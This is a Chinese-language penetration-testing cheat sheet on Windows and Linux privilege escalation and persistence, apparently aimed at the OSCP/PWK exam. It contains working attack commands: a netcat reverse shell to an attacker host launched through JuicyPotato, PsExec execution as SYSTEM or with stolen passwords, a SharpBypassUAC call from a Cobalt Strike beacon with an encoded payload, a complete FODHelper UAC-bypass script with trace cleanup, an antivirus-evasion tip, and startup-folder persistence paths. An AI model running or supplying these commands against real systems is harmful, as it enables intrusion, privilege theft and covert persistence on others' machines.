提权
Windows
通常会检查我的权限 ( whoami /all) 和文件系统(tree /f /a来自C:\Users目录)以获取快速获胜或有趣的文件(尤其是用户主文件夹和/或 Web 目录)。如果没有找到任何东西,就会运行一个类似winPEAS.exe来识别任何漏洞。在枚举结果中查找的内容:
如果没有明显的结果WinPEAS,通常Invoke-AllChecks从PowerUp运行,它会执行类似的检查,但有时也会捕获其他漏洞。
如果所有其他方法都失败了,我会开始寻找操作系统级别的漏洞利用,尤其是在较旧的系统上。Windows-Exploit-Suggester对此有所帮助:您可以从 Kali 运行它,并且只需要SystemInfo. 有时在谷歌上搜索确切操作系统版本的权限提升漏洞也有帮助。
如果您拥有SeImpersonatePrivilege并且操作系统版本早于Server 2019 或 Windows 10,则相关。通过使用中性二进制文件(例如nc.exe或nc64.exe来自此处),我取得了最大的成功。如果您bat使用命令调用创建文件,它应该会避开大多数 AV 并为您提供特权 shell。
# On target system, after copying required binaries
echo C:\temp\nc64.exe -e cmd.exe $LHOST 443 > rev.bat
.\JuicyPotato.exe -l 1337 -p C:\temp\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
如果您是本地管理员,则相关,但whoami /all返回您正在“中等完整性进程”中运行。漏洞利用方法因操作系统版本而异。谷歌搜索特定版本的自动 UAC 绕过漏洞,或使用Windows-Exploit-Suggester或 metasploit 来识别可能的 UAC 绕过漏洞可能会成功。
可以通过PsExec.exe来实现这一点,可以使用 Msfvenom 可执行文件代替rev.bat。
.\PsExec.exe -i -s "c:\temp\rev.bat"
如果你在 Windows 系统上有一个 shell 并且有另一个用户的密码,PsExec 也可以用来作为目标用户执行程序。
.\PsExec.exe -user $USERNAME -p $PASSWORD "c:\temp\rev.bat"
使用SharpBypassUAC
# Generate EncodedCommand
echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64
# Use SharpBypassUAC e.g. from a CobaltStrike beacon
beacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==
在某些情况下,运行手动 UAC 绕过可能会更好,例如在 PowerShell 中执行非常简单的 FODHelper 绕过。
# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"
# Set the registry values
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force
# Trigger fodhelper to perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Linux
对于 Linux PrivEsc,通常运行sudo -l. 如果这导致我们可以运行某些命令(无需密码或已知密码)之后,开始查看文件系统(再次 - 主目录和有趣的目录,如/var/www/html)以查找多汁文件或包含凭据或线索的文件。通常,这可能会导致例如我们可以用来在本地转储数据库的 MySQL 凭据。最后,我查看了我们所在的非默认组id。
在那之后,通常是通过自动化PrivEsc枚举linPEAS或在某些情况下LINENUM。但是,强烈建议大家熟悉这些脚本执行的命令及其含义。这是帮助获取态势感知和手动识别漏洞的命令的极好参考。另外,我喜欢这里提出的高级问题- 我是谁?我可以读、写或执行什么?为了在 Linux 中有效提权,您必须回答的一些问题与 Windows 类似,有些则完全不同。一般来说,以下是一些经常相关的问题。
同样,内核漏洞利用应该是 PWK 权限提升的最后手段。识别内核版本uname并将其扔到 searchsploit 中应该在这方面有所帮助。
权限维持
启动文件夹
只要放下一个二进制文件在当前用户文件夹中,将在当前用户登录时触发。
c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
或者在全局启动文件夹中,需要管理权限,但在启动时将作为SYSTEM触发,并且只要有用户登录就会在用户环境中触发。
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp